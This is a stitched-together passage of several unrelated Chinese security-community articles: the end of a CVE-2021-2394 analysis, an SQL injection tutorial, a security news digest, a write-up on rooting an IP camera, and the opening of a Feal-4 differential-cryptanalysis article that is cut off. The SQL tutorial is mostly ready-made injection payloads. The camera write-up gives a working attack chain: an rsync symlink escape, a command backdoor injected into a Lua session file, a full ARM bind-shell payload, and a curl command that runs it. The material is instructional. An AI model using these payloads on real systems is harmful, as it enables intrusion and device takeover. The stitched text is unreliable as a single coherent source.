这个byte数据在初始化`WLSObjectInputStream`的过程中是不会进行赋值的，于是是为空。
接着，后面在read的时候就会爆eof的错误。
## 0x04 时间线
2021-07-20 Oracle发布安全更新通告
2021-07-21 360CERT发布通告
2021-07-23 360CERT发布分析
## 0x05 参考链接
[1、 Oracle Critical Patch Update Advisory – July
2021](https://www.oracle.com/security-alerts/cpujul2021.html)
## 0x06 特制报告下载链接
一直以来，360CERT对全球重要网络安全事件进行快速通报、应急响应。为更好地为政企用户提供最新漏洞以及信息安全事件的安全通告服务，现360CERT正式推出安全通告特制版报告，以便用户做资料留存、传阅研究与查询验证。
用户可直接通过以下链接进行特制报告的下载。
[CVE-2021-2394：Oralce7月补丁日二次序列化漏洞分析](http://certdl.qihucdn.com/cert-public-file/buddha_analyze/%E3%80%90360CERT%E3%80%91CVE-2021-2394_Oralce7%E6%9C%88%E8%A1%A5%E4%B8%81%E6%97%A5%E4%BA%8C%E6%AC%A1%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.pdf)
若有订阅意向与定制需求请发送邮件至 g-cert-report#360.cn ，并附上您的 公司名、姓名、手机号、地区、邮箱地址。 | 社区文章 |
# 前言：
SQL注入是web安全中最常见的攻击方式，SQL注入有很多方法，但如果只知道payload，不知道原理，感觉也很难掌握，这次就总结一下我所遇到的SQL注入方法，原理分析+题目实战。
# **0x00 Xpath报错** 注入
### **涉及函数**
updatexml():对xml进行查询和修改
extractvalue():对xml进行查询和修改
### **报错语句构造**
select extractvalue(1,concat(0x7e,user(),0x7e))；
mysql> select extractvalue(1,concat(0x7e,user(),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
select updatexml(1,concat(0x7e,version(),0x7e),1);
mysql> select updatexml(1,concat(0x7e,version(),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53~'
### **原理分析**
extractvalue(xml_str , Xpath)
函数,按照Xpath语法从XML格式的字符串中提取一个值，如果函数中任意一个参数为NULL,返回值都是NULL。
其实就是对XML文档进行查询的函数，相当于HTML文件中用
`<div><p><a>`等标签查找元素一样，第一个参数传入目标xml文档，第二个参数使用Xpath路径法表示的查找路径
举个简单例子：
select extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c');
寻找前一段xml文档内容中的a节点下的c节点
+----------------------------------------------------------+
| extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c') |
+----------------------------------------------------------+
| accc |
+----------------------------------------------------------+
正常情况下的使用便是这样，但如果我们构造了不合法的Xpath ，MySQL便会出现语法错误，从而显示出XPath的内容。
发现报错时少了一部分，没有前面的root，产生这样的问题是 **因为Xpath语法只有遇到特殊字符时才会报错**
那我们直接在需要连接的字符前添加特殊字符即可爆出我们想要的结果
但是也要注意，报错的长度是有一定限制的，不要构造过长的payload，否则后面的字符串会被截断
`updatexml()`函数 与`extractvalue()`类似 ，是更新xml文档的函数
`updatexml()`函数有三个参数，分别是(XML_document, XPath_string, new_value)
第一个参数：XML_document是String格式，为XML文档对象的名称
第二个参数：XPath_string (Xpath格式的字符串)
第三个参数：new_value，String格式，替换查找到的符合条件的数据
原理相同，都是遇到特殊字符爆出错误
### 题目实战
sqli-labs17关，涉及到xpath报错注入
uname尝试发现没有任何变化，尝试下passwd，发现单引号报错，且有报错信息，可以使用xpath报错注入 尝试下爆出数据库
uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)# &submit=Submit
既然xpath报错注入可以,那就来一一爆出表、字段、值即可
**payload：**
uname=admin&passwd=1' or updatexml(1,(select group_concat(table_name) from
information_schema.TABLES where TABLE_SCHEMA=database()),1)# &submit=Submit
下面就基本上将payload改下即可，但到爆值时会出一个问题
**payload** ：
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit
出现这个错误的，是因为不能先select出同一表中的某些值，再update这个表
百度查找解决方法，发现需要再在外面加一层select即可解决
**最终payload** ：
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username
from users)c limit 0,1),0x7e),1)#&submit=Submit
# 0x01 宽字节注入
### **涉及函数**
`addslashes()` 函数返回在预定义字符之前添加反斜杠的字符串
`mysql_real_escape_string()` 函数转义 SQL 语句中使用的字符串中的特殊字符
`mysql_escape_string()` — 转义一个字符串
### 原理分析
先了解一下什么是窄、宽字节已经常见宽字节编码：
一、当某字符的大小为一个字节时，称其字符为窄字节.
二、当某字符的大小为两个字节时，称其字符为宽字节.
三、所有英文默认占一个字节，汉字占两个字节
四、常见的宽字节编码：GB2312,GBK,GB18030,BIG5,Shift_JIS等
为什么会产生宽字节注入，其中就涉及到编码格式的问题了，宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入
问题就出现在使用PHP连接MySQL的时候，当设置
“set character_set_client = gbk”
时会导致一个编码转换的问题
如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题，原因是程序员为了防止SQL注入，就会调用我们上面所介绍的几种函数，将单引号或双引号进行转义操作，转义无非便是在单或双引号前加上斜杠（\）进行转义
，但这样并非安全，因为数据库使用的是宽字节编码，两个连在一起的字符会被当做是一个汉字，而在PHP使用的UTF8编码则认为是两个独立的字符，如果我们在单或双引号前添加一个字符，使其和斜杠（\）组合被当作一个汉字，从而保留单或双引号，使其发挥应用的作用。但添加的字符的Ascii要大于128，两个字符才能组合成汉字
，因为前一个ascii码要大于128，才到汉字的范围 ，这一点需要注意。
### 题目实战
大段的文字可能枯燥无味，下面实战来体验一下：
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1'
返回结果为
your sql:select id,title from news where id = '1\''
发现被转义了，使用最经典的%df
?id=1%df' and 1=1%23
返回结果为：
your sql:select id,title from news where id ='1運' and 1=1#'
％df和后面的\变成了一个汉字“运” ,所以单引号就可以不被转义，从而发挥闭合作用
爆出数据库，下面就很简单了，相当于知道了闭合符号，常用的payload更改一下即可
SQL-labs32和33关也涉及到了宽字节注入，输入
http://127.0.0.1/sqli-labs-master/Less-32/?id=1'
发现也是被转义了，那可以试一下宽字节注入
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df%27
出现报错语句，说明单引号已经起作用了，后面的就常规payload即可
# 0x02 堆叠注入
### **涉及字符**
分号`（;）`，在SQL语句中用来表示一条sql语句的结束
### 原理分析
堆叠注入可以执行任意的语句 ，多条sql 语句一起执行。在MYSQL命令框中，常以`;`作为结束符，那我们便可以在一句SQL语句结束后再紧跟一句SQL语句
。
例如：
mysql> show databases;use web1;select 1,2,3;
+--------------------+
| Database |
+--------------------+
| information_schema |
| BWVS |
| bbs |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
| web1 |
+--------------------+
10 rows in set (0.00 sec)
Database changed
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)
但堆叠注入是有局限性的，并不是每个环境都可以用到的:
一、可能受到API或者数据库引擎不支持的限制
二、权限不足
所以一般这种方法的注入只会出现在CTF题中，但正因为这种方法感觉简单，很多人都会忽略掉，强网杯的web题随便注便用到了这种方法，当时真的懵的一批。
### 题目实战
发现是回显注入，在测试过程中，发现
很多重要的关键字都被过滤了，发现可以使用堆叠注入，那就来尝试一波
在此之前那，已经测试出`'`为闭合符号，那就来查询数据库、数据表
**查数据库**
1';show databases;#
**查询数据表**
1';show tables;#
再分别查询`1919810931114514`表和`words`表
查询words表时，发现有id列，我们随便输入数字时，会回显出对应内容，所以回显内容肯定是从word这张表中回显的
再查询`1919810931114514`表
1';show columns from `1919810931114514`;#
但是到这里就会出现问题，虽然我们已经得到了flag了，但是`select`被过滤了，而`show`命令又不能查看值。这就比较头疼了，不过如果仔细观察的话，一开始过滤的并没有`alert`
和
`rename`，我们已经知道了`words`是用来回显内容的，能不能我们把`1919810931114514`这个表更改名字为`words`,并增加相应的字段，使之回显原`1919810931114514`这个表的内容那，当然是可以的，这种思路。。。大师傅tql
**payload** :
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#
用`1' or '1'='1`访问一下，便可以发现flag
通过这道题的训练，便可以对堆叠注入有很深的印象了
# **0x03 二次注入**
### 涉及函数
`addslashes()` 函数返回在预定义字符之前添加反斜杠的字符串
`mysql_real_escape_string()` 函数转义 SQL 语句中使用的字符串中的特殊字符
`mysql_escape_string()` — 转义一个字符串
### 二次注入原理
看到涉及到的函数是不是感觉很熟悉，这是因为大多数网站都会对用户输入的语句进行对特殊符号的过滤，例如：恶意用户构造的插入语句为`1'`,经过这些函数的处理则变为`1\'`,这样便可以防止用户向服务器插入数据时引发的一些恶意操作，但这只是中途过滤了一下，最终返回到数据库里面的数据还是`1'`,如果管理者对取出的数据没有进行进一步的检验处理，服务器从数据库取出恶意数据，未经过滤就直接拼接SQL语句进行查询，就会发生了SQL二次注入。
**注意** ：二次注入不是注入两次的意思，二次注入相当于存储型的注入，可以看下面的图，介绍的也很直观。
总结起来 二次注入其实是分为两个步骤：
1. 插入恶意数据
2. 引用恶意数据
原理既是如此，但不实战是无法掌握的，下面就来实战练习二次注入。
### **题目实战**
SQL-labs24关便涉及到二次注入
先来看一下登陆时的源码
过滤函数将特殊符号给过滤掉了，所以直接注入是没戏的
再来查看一下用户注册的源码
同样过滤特殊字符，从注册进行注入也是不可能了
最后看一下修改密码的源码
同样如此，那就只能利用二次注入，先将恶意语句注入进数据库中，再调用
我们先注册一个用户`admin'#`,密码设置为`123`，注册好之后查看一下数据库
注册成功，这时其实我们就可以修改管理员`admin`，为什么那，来看下修改密码的sql语句
我们用户名为`admin'#`，调用该用户时，SQL语句则变为了
我们将`admin`密码更改为123456,测试一下
更改成功，这便是二次注入的简单利用
# 0x04 Order By注入
### **涉及函数**
if()函数
updatexml()函数
extractvalue()函数
regexp()函数
rand()函数
### 原理分析
当用户提供的数据通过MySQL的`“Order By”`语句中的值进行传递时，如果可控制的位置在order by子句后，如order参数可控：`select
* from xxxxx order by $_GET['order']`可能就会引发order by注入
利用大师傅的环境简单复现一下，源码分析：
<?php
error_reporting(0);
session_start();
mysql_connect("127.0.0.1", "xxxx", "xxxx") or die("Database connection failed ");
mysql_select_db("sqlidemo") or die("Select database failed");
$order = $_GET['order'] ? $_GET['order'] : 'name';
$sql = "select id,name,price from goods order by $order";
$result = mysql_query($sql);
$reslist = array();
while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
array_push($reslist, $row);
}
echo json_encode($reslist);
?>
`if(语句1、语句2、语句3)`如果语句1为真，则执行语句2，否则则执行语句3
/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序
简单介绍下SQL语句中`case` 的两种格式
--简单Case函数
case 列名
when 条件值1 then 选项1
when 条件值2 then 选项2
else 默认值 end
--Case搜索函数
case
when 列名=条件值1 then 选项1
when 列名=条件值2 then 选项2
else 默认值 end
两种方式，可以实现相同的功能。简单`Case`函数的写法相对比较简洁，但是和`Case`搜索函数相比，功能方面会有些限制，比如写下面的判断式
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
如果想利用构造的语句的话，直接将后面的选项更改成自己构造的语句即可
`IFNULL()` 函数用于判断第一个表达式是否为 NULL，如果为 NULL 则返回第二个参数的值，如果不为 NULL
则返回第一个参数的值，所以也可以通过IFNULL来排序，甚至构造恶意语句
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序
**返回多条记录**
/?order=IF(1=1,1,(select+1+union+select+2)) 正确
/?order=IF(1=2,1,(select+1+union+select+2)) 错误
**利用报错**
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误
利用if语句，也可以在参数order后构造时间盲注，同样也是这里虽然是简单的排序，但如果将语句更改为猜解数据库的语句也是可以的
如：
/?order=if(条件1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(条件1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
利用order
by注入不可能直接爆出数据，只能通过猜解来获得数据，猜解数据时只能一位一位的猜，所以可以利用`substr`截取函数以及`left`、`right`函数将每个字符分割出来，进行猜解，如果遇到Order
by注入，最好用脚本，手注得累死
Order
by注入就是通过这些函数，开发者本意是希望方便用户进行排序观察等，但如果不对其做出任何限制，就会被恶意利用，利用函数的功能去执行一些SQL注入语句，从而泄露信息。
### **题目实战**
使用SQL-labs46关做测试
利用sort可以进行信息查询，可以通过`asc` 和`desc`查看返回数据是否相同来简单判断是否存在order by注入,因为如果语句中不写`order
by`，默认是按照表结构中定义的“主键”`(Primary Key)` 进行升序`（ASC）`排列，如果通过`asc`
和`desc`查看返回数据相同则不存在order by注入，反之则存在。
上面原理介绍也说过，order by注入依靠那些函数，所以我们可以构造任意的语句
如： **报错语句**
?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));
下面的更改报错语句中的payload就可爆出其他内容
**时间盲注**
?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(10)))test))
我们将前面的判断条件更改即可来猜解数据，例如：
?sort=if(ascii(substr((select database()),1,1))>200,1,(SELECT(1)FROM(SELECT(SLEEP(10)))test))
这里我估计设置ascll大一点来测试是否可行，除此之外还可以利用rand函数
?sort=rand(ascii(substr((select database()),1,1))>127)
?sort=rand(ascii(substr((select database()),1,1))>1)
发现回显内容是不同的，那如何判断是对是错，如何写出脚本
发现`ascll>127`时最后显示的`admin1`,而`ascll>1`时为`superman`
经过多次测试
`superman`_代表正确
`admin1`_代表错误
即可写出盲注脚本，来猜解数据库、表等信息
总结：这次就先总结到这里，SQL注入还有很多姿势，如异或注入等，
# **0x05 异或注入**
### **涉及符号**
MySQL中，异或用`^`或`xor`表示
### **原理分析**
异或注入原理较为简单一些，运算法则就是：两个条件相同（同真或同假）即为假`（0）`，两个条件不同即为真`（1）`，`null`与任何条件做异或运算都为`null`
简单在mysql命令行演示一下：
用异或方法可以判断一些字符是否被过滤，如:
CTF题中如果想判断那些函数被过滤，便可以通过异或查询
符号^(str)^符号 -符号具体要结合题，str是由我们定义的命令
### 题目实战
当`id=5`时，显示出来这段提示，那就来SQL注入
输入`id=1'`时报错
当输入`id=1'%23`时不报错，输入`id=1' and
1=1%23`又报错，看来是过滤了`and或者空格`，经测试发现是过滤了`and`，那肯定还有被过滤的字符，可以使用异或查询来判断出那个字符被过滤掉
?id=1'^(length('union')!=0)^'
这里可能会有点绕，故意设置成长度不等于0，假如`length('union')!=0`成立（真），则说明`union`未被过滤，则页面将会回显错误（因为同真即为假），如果`length('union')!=0`不成立（假），说明`union`确实已经被过滤掉了，则页面回显正常
页面回显正常，说明`length('union')==0`，故`union`被过滤掉了，同样的方法检测
select,union,and,or
等字符被过滤掉
下面通过双写绕过即可得出表名等，这里重点在于介绍异或查询这种方法，所以下面就不深究了。
异或注入也是同样的原理，更改相应的`payload`即可
# **总结**
注入的方法真的很多，除此之外还有利用MySQL的SQL预处理进行注入等等，要学的内容还有很多，继续加油！ | 社区文章 |
# 【知识】2月26日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： anc攻击项目源码、从[]==![]为true来剖析JavaScript各种蛋疼的类型转换、攻击域名前端、** **Ichitaro
Office Excel文件代码执行漏洞** **
**
**国内热词(以下内容部分摘自 http://www.solidot.org/)：**
* * *
****
****
Google 将 Messenger 重命名为 Android Messages ，力推富通信服务
在服务器固件发现恶意程序后苹果终止与超微的合作
伊斯兰国改造了深圳大疆的无人机
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
Carder论坛声称出售从CloudBleed案例中获取的1.5亿次登录信息
<http://securityaffairs.co/wordpress/56650/data-breach/cloudbleed-carder-forum.html>
苹果内部的开发服务器受恶意软件攻击
<http://securityaffairs.co/wordpress/56645/malware/apple-malware.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
python实现机器学习模型和算法
<https://github.com/eriklindernoren/ML-From-Scratch>
anc攻击项目源码
<https://github.com/vusec/revanc>
Boomerang攻击blake和blake2
<http://eprint.iacr.org/2014/1012.pdf>
从[]==![]为true来剖析JavaScript各种蛋疼的类型转换
<http://wrox.cn/article/100094829/>
poc运行在MSbuild.exe里的PowerView函数
<https://gist.github.com/subTee/385c1f6831b14675056a21e6907b07b7>
攻击域名前端
<https://www.xorrior.com/Empire-Domain-Fronting/>
Ichitaro Office Excel文件代码执行漏洞
<http://blog.talosintelligence.com/2017/02/vulnerability-deep-dive-ichitaro-office.html>
FireFox的一个RCE
<http://leucosite.com/FireFox-RCE/> | 社区文章 |
# 【技术分享】看我如何一步步PWN掉国内某摄像头
|
##### 译文声明
本文是翻译文章，文章来源：Ricter
原文地址：<https://ricterz.me/posts/Pwn%20A%20Camera%20Step%20by%20Step%20%28Web%20ver.%29?_=1477995582564>
译文仅供参考，具体内容表达以及含义原文为准。
闲来无事，买了一个某品牌的摄像头来 pwn 着玩（到货第二天就忙成狗了，flag 真是立的飞起）。
本想挖一挖二进制方面的漏洞，但是死性不改的看了下 Web，通过一个完整的攻击链获取到这款摄像头的 root 权限，感觉还是很有意思的。
**0x00**
配置好摄像头连上内网后，首先习惯性的用 nmap 扫描了一下端口。
>>> ~ nmap 192.168.1.101 -n -v --open
Starting Nmap 7.12 ( https://nmap.org ) at 2016-11-01 12:13 CST
Initiating Ping Scan at 12:13
Scanning 192.168.1.101 [2 ports]
Completed Ping Scan at 12:13, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 12:13
Scanning 192.168.1.101 [1000 ports]
Discovered open port 80/tcp on 192.168.1.101
Discovered open port 554/tcp on 192.168.1.101
Discovered open port 873/tcp on 192.168.1.101
Discovered open port 52869/tcp on 192.168.1.101
Completed Connect Scan at 12:13, 0.35s elapsed (1000 total ports)
Nmap scan report for 192.168.1.101
Host is up (0.051s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
80/tcp open http
554/tcp open rtsp
873/tcp open rsync
52869/tcp open unknown
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
除了 554、80，居然发现了一个 873 端口。873 是 rsync 的端口，一个摄像头居然开启了这个端口，感觉到十分的费解。
查看了下 rsync 的目录，发现有密码，暂时搁置。
>>> ~ rsync 192.168.1.101:: 12:22:03
usb rsync_mgr
nas rsync_mgr
>>> ~ rsync 192.168.1.101::nas 12:22:06
Password:
@ERROR: auth failed on module nas
rsync error: error starting client-server protocol (code 5) at /BuildRoot/Library/Caches/com.apple.xbs/Sources/rsync/rsync-51/rsync/main.c(1402) [receiver=2.6.9]
Web 端黑盒没有分析出漏洞，同样暂时搁置。
不过暂时发现有意思的一点，这个摄像头可以挂载 NFS。
**0x01**
下面着手分析固件。
在官网下载固件后，用 firmware-mod-kit 解包。
/home/httpd 存放着 Web 所有的文件，是 lua 字节码。file 一下发现是 lua-5.1 版本的。
利用 unluac.jar 解码得到 Web 源码。
本以为会有命令执行等漏洞，因为会有 NFS 挂载的过程。但是并没有找到所谓的漏洞存在。
同时看了下 rsync 配置文件，发现密码为 ILove****：
但是尝试查看内容的时候提示 chdir faild，难道说这个文件不存在？
>>> ~/D/httpd rsync [email protected]::nas --password-file /tmp/p
@ERROR: chdir failed
rsync error: error starting client-server protocol (code 5) at /BuildRoot/Library/Caches/com.apple.xbs/Sources/rsync/rsync-51/rsync/main.c(1402) [receiver=2.6.9]
突然有个猜想划过脑海。于是我搭建了一个 NFS 服务器，然后配置好摄像头 NFS：
再次运行 rsync：
>>> ~/D/httpd rsync [email protected]::nas --password-file /tmp/p
drwxrwxrwx 4096 2016/11/01 12:35:47 .
drwxr-xr-x 4096 2016/11/01 12:35:47 HN1A009G9M12857
Bingo！
**0x02**
rsync 目录限制在 /mnt/netsrv/nas 了，如何绕过呢。
symbolic link 来帮你_(:3」∠)_
愚蠢的 rsync 并没有设置 chroot，于是我可以直接创建一个指向 / 的符号链接，然后可以访问任意目录。
>>> ~/D/httpd rsync --password-file /tmp/p [email protected]::nas/HN1A009G9M12857/pwn/
drwxr-xr-x 216 2016/07/23 11:28:55 .
lrwxrwxrwx 11 2016/07/23 11:28:43 linuxrc
lrwxrwxrwx 9 2016/07/23 11:28:55 tmp
drwxr-xr-x 971 2016/07/23 11:28:56 bin
drwxrwxrwt 10620 1970/01/01 08:00:10 dev
drwxr-xr-x 603 2016/07/23 11:28:55 etc
drwxr-xr-x 28 2016/07/23 11:28:43 home
drwxr-xr-x 1066 2016/07/23 11:28:56 lib
drwxr-xr-x 60 2016/07/23 11:27:31 mnt
dr-xr-xr-x 0 1970/01/01 08:00:00 proc
drwxr-xr-x 212 2016/07/23 11:28:56 product
drwxr-xr-x 3 2016/07/23 11:27:31 root
drwxr-xr-x 250 2016/07/23 11:28:43 sbin
drwxr-xr-x 0 1970/01/01 08:00:01 sys
drwxr-xr-x 38 2016/07/23 11:27:31 usr
drwxr-xr-x 50 2016/07/23 11:28:55 var
正当我愉快的打算 rsync 一个 lua 的 shell 到上面时，却发现除了 /tmp/，整个文件系统都不可写。
嘛，没关系，我们还有 Web 源码可以看。
local initsession = function()
local sess_id = cgilua.remote_addr
if sess_id == nil or sess_id == "" then
g_logger:warn("sess_id error")
return
end
g_logger:debug("sess_id = " .. sess_id)
setsessiondir(_G.CGILUA_TMP)
local timeout = 300
local t = cmapi.getinst("OBJ_USERIF_ID", "")
if t.IF_ERRORID == 0 then
timeout = tonumber(t.Timeout) * 60
end
setsessiontimeout(timeout)
session_init(sess_id)
return sess_id
end
initsession 函数创建了一个文件名为 IP 地址的 session，文件储存在 /tmp/lua_session
>>> ~/D/httpd rsync --password-file /tmp/p [email protected]::nas/HN1A009G9M12857/pwn/tmp/lua_session/
drwxrwxr-x 60 2016/11/01 12:11:12 .
-rw-r--r-- 365 2016/11/01 12:35:55 192_168_1_100.lua
同步回来，加一句 os.execute(cgilua.POST.cmd);，然后同步回去。
看起来已经成功执行了命令。但是我尝试了常见的 whoami、id 等命令，发现并不存在，通过 sh 反弹 shell 也失败了。感觉很尴尬233333
**0x03**
通过收集部分信息得知摄像头为 ARM 架构，编写一个 ARM 的 bind shell 的 exp：
void main()
{
asm(
"mov %r0, $2n"
"mov %r1, $1n"
"mov %r2, $6n"
"push {%r0, %r1, %r2}n"
"mov %r0, $1n"
"mov %r1, %spn"
"svc 0x00900066n"
"add %sp, %sp, $12n"
"mov %r6, %r0n"
".if 0n"
"mov %r0, %r6n"
".endifn"
"mov %r1, $0x37n"
"mov %r7, $0x13n"
"mov %r1, %r1, lsl $24n"
"add %r1, %r7, lsl $16n"
"add %r1, $2n"
"sub %r2, %r2, %r2n"
"push {%r1, %r2}n"
"mov %r1, %spn"
"mov %r2, $16n"
"push {%r0, %r1, %r2}n"
"mov %r0, $2n"
"mov %r1, %spn"
"svc 0x00900066n"
"add %sp, %sp, $20n"
"mov %r1, $1n"
"mov %r0, %r6n"
"push {%r0, %r1}n"
"mov %r0, $4n"
"mov %r1, %spn"
"svc 0x00900066n"
"add %sp, $8n"
"mov %r0, %r6n"
"sub %r1, %r1, %r1n"
"sub %r2, %r2, %r2n"
"push {%r0, %r1, %r2}n"
"mov %r0, $5n"
"mov %r1, %spn"
"svc 0x00900066n"
"add %sp, %sp, $12n"
"mov %r6, %r0n"
"mov %r1, $2n"
"1: mov %r0, %r6n"
"svc 0x0090003fn"
"subs %r1, %r1, $1n"
"bpl 1bn"
"sub %r1, %sp, $4n"
"sub %r2, %r2, %r2n"
"mov %r3, $0x2fn"
"mov %r7, $0x62n"
"add %r3, %r7, lsl $8n"
"mov %r7, $0x69n"
"add %r3, %r7, lsl $16n"
"mov %r7, $0x6en"
"add %r3, %r7, lsl $24n"
"mov %r4, $0x2fn"
"mov %r7, $0x73n"
"add %r4, %r7, lsl $8n"
"mov %r7, $0x68n"
"add %r4, %r7, lsl $16n"
"mov %r5, $0x73n"
"mov %r7, $0x68n"
"add %r5, %r7, lsl $8n"
"push {%r1, %r2, %r3, %r4, %r5}n"
"add %r0, %sp, $8n"
"add %r1, %sp, $0n"
"add %r2, %sp, $4n"
"svc 0x0090000bn"
);
}
编译：
arm-linux-gcc 2.c -o 2 -static
通过 rsync 扔到 /tmp 目录，然后跑起来：
rsync --password-file /tmp/p 2 [email protected]::nas/HN1A009G9M12857/pwn/tmp/
curl http://192.168.1.101 --data "cmd=wget%20192.168.1.100:2333/`/tmp/2%26`"
连接 4919 端口：
Pwned！破解成功！ | 社区文章 |
# 由Feal-4密码算法浅谈差分攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Feal-4密码算法在密码分析史上有重要的地位，差分分析就是针对该算法首次提出，是一个很好的学习范例。*ctf2019就有一道相关的问题。可能是由于已经不存在现实应用，探讨该问题的中文文档非常少，详细分析对Feal-4进行差分攻击的我还没有看到。因此笔者将自己的分析总结与大家分享。
## 一、Feal-4 加密算法
### 1.1 Feal密码概述
Fea加密算法由日本NTT公司于1987年发明，该算法的全称是 Fast data Encryption
ALgorithm。Feal密码的最初版本就是Feal-4，后来由陆续推出了Feal-8和Feal-N。该算法提出后，经过密码学家的研究，陆续发现了该算法的一些脆弱性，即使是后续版本也存在一定程度的不安全性。
本文我们主要讨论Feal-4，分析该密码算法的脆弱性及差分攻击方法。
Feal-4密码算法在密码学史上有很重要的地位，差分攻击正是研究者通过对Feal-4的研究首次提出的，之后又拓展到了DES密码算法上。自此以后，抗差分分析成了密码设计的一部分，差分分析成为了密码分析的基本方法。
由于Feal-4的自身的设计特点，差分攻击对Feal-4非常有效，不需要大量的选择明文就可以实现。
关于对Feal-4的差分分析，博客 <http://theamazingking.com/crypto-feal.php> 有比较详细的阐述，
我自己在分析时也参考了该博客的内容，感谢作者的分享。
通过进一步学习我发现，有比该博客上的方法更高效的方式进行差分攻击。第一，该博客使用的方法，子密钥枚举空间是2的32次方，如果用Python实现，运行的时间久到无法承受，本文使用的方法枚举空间是2的17次方，能大大节约了破解时间。第二，该博客中讲到，子密钥K0不能使用差分方法求得，通过测试我发现是可以的，需要稍微改动求解方式，基本与前3轮子密钥的破解相同。这样破解K0也能使用枚举2的17次方的方法。
### 1.2 Feal-4密码算法加解密流程
Feal-4属于分组加密算法，采用Feistel架构。密钥长度为8字节，分组长度也是8字节。Feal-4密码算法对一个分组的加密过程可用下面的图描述
首先，8字节的密钥经过子密钥生成算法，扩展为6个4字节的子密钥 K0 –
K5，加密过程使用的就是这样6个4字节子密钥。所以如果能恢复出子密钥，不需要恢复原始密钥，就能完成对Feal-4的解密，下文的差分攻击也正是这样做的。
分组加密过程中，首先8字节明文分组被分成左右两个部分，左半部与子密钥K4异或，右半部与子密钥K5异或。两个半部再异或作为右半部。接着进入4轮轮函数。每一轮里，右半部直接成为下一轮的左半部。
第一轮里，右半部与K0异或，然后进入F函数，F函数实现非线性部分，F函数的结果与左半部进行异或，成为下一轮的右半部。后3轮同理，依次使用子密钥 K1 K2
K3。
4轮操作完成后，左半部就是密文分组的左半部，左半部与右半部异或后，成为密文分组的右半部。这就是一个分组的加密过程。解密过程就是上述过程的逆过程。
### 1.3 轮函数
下面我们来看F函数。Feal-4的脆弱性就在F函数中。轮函数F将32比特映射为32比特。轮函数中使用了一个名为G函数的操作，G函数有两个定义如下
G0和G1，接收两个参数 a 和
b，将a+b的值加0或加1，模256后（避免超出一个字节的长度），进行循环左移位，移2位。定义完G函数，轮函数F可用下图描述
如果说轮函数F是Feal-4的核心，G函数就是F函数的核心。
## 二、对 Feal-4 进行差分攻击
接下来我们开始对Feal-4进行差分攻击。差分分析的目标是获得加密的子密钥。
差分分析最早由Murphy于1990年，针对Feal4密码提出，随后 Biham 和 Shamir
又在一系列研究里对该技术进行了发展，属于选择明文攻击，适用于过度使用异或操作的分组密码算法。
所谓差分分析，是指追踪明文对的“差异”的传播。这里的“差异”由我们根据目标进行定义，可以是异或值，也可以是其它。针对Feal-4，我们使用的就是异或值定义“差异”，或者称之为“距离”。有些地方也称为“特征”（characteristic）
比如说，选定明文分组P1，分组之间的“差值”（differential）为δ，于是另一个明文分组就是P1+δ，明文P1对应的密文分组时C1，明文 P1+δ
对应的密文与C1的“距离”是 ε
如果 δ 以一定的概率对应着 ε ，就称 δ 是一个差分特征。
其实这个过程我们主要关注的是非线性部分F函数，所以也可以用下面的图描述这个过程，右侧可认为是一种简要描述
在Feal-4密码里，有这样两个有用的“特征”，第一个，同样的输入经过轮函数F一定产生同样的输出，即，当轮函数的输入差值为0x00000000时，轮函数的输出差值一定时0x00000000，概率为1。第二个，当轮函数的输入差值为0x80800000时，轮函数的输出差值一定时0x02000000，概率为1。
基于这样一个事实，我们来追踪差分特征0x8080000080800000在Feal-4加密过程的传播。
我们可以任意选择一个明文分组P0，然后与0x8080000080800000异或，得到明文分组P1，P0与P1构成一个明文对，差值为0x8080000080800000
对应的密文分组分别是C0和C1，记
追踪差分特征 P’ 在Feal-4中的传播，过程如下
